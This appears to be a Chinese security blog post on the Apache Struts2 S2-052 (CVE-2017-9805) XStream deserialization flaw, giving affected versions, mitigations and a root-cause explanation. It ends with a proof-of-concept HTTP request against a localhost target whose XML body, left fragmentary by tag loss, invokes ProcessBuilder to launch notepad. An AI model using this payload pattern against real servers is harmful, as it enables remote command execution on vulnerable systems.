Struts2 : S2 - 052

ps:关于Java反序列化原理,请参见:Java反序列化漏洞原理

漏洞介绍

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-052,CVE编号CVE-2017-9805。

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

  • 影响范围:

Struts 2.5 - Struts 2.5.12

  • 不受影响的版本:

Struts 2.5.13

  • 快速检测方式:

使用知道创宇SeeBug可以直接检测站点是否存在本漏洞

  • 防护策略建议
  1. 升级Struts2至2.5.13。
  2. 删除2.5.12以及之前版本的rest-showcaseWAR包。
  3. 部署HanSight企业版和HanSight NTA,接入Web服务器流量和日志,及时处理告警。

漏洞原理

S2-052漏洞,源于REST插件处理XML反序列化请求时没有做任何过滤或验证,直接解析处理(将XML反序列化成Java Object),所以存在安全隐患、可以远程攻击。
(所以还是那句话:一切外来输入都是不可信的!)

Struts2 : S2 - 052_第1张图片
Struts2 : S2 - 052_第2张图片

通过精心构造的XML反序列化请求可以使得服务器执行任何命令:


Struts2 : S2 - 052_第3张图片

利用POC

#此poc为打开目标系统notepad软件
POST /struts2-rest-showcase/orders/3/edit;jsessionid=F455F4577F3AC37C743B888B17C7A05E HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1659
Referer: http://127.0.0.1:8080/orders/3/edit
Cookie: JSESSIONID=F455F4577F3AC37C743B888B17C7A05E
Connection: close
Upgrade-Insecure-Requests: 1


 
 
 0      false 0     C:\Windows\System32\notepad  false     java.lang.ProcessBuilder start   foo  foo      false 0 0 false  false    0        
 

发现一个大表哥写的非常详细:http://www.sohu.com/a/190287874_99907709

你可能感兴趣的:(Struts2 : S2 - 052)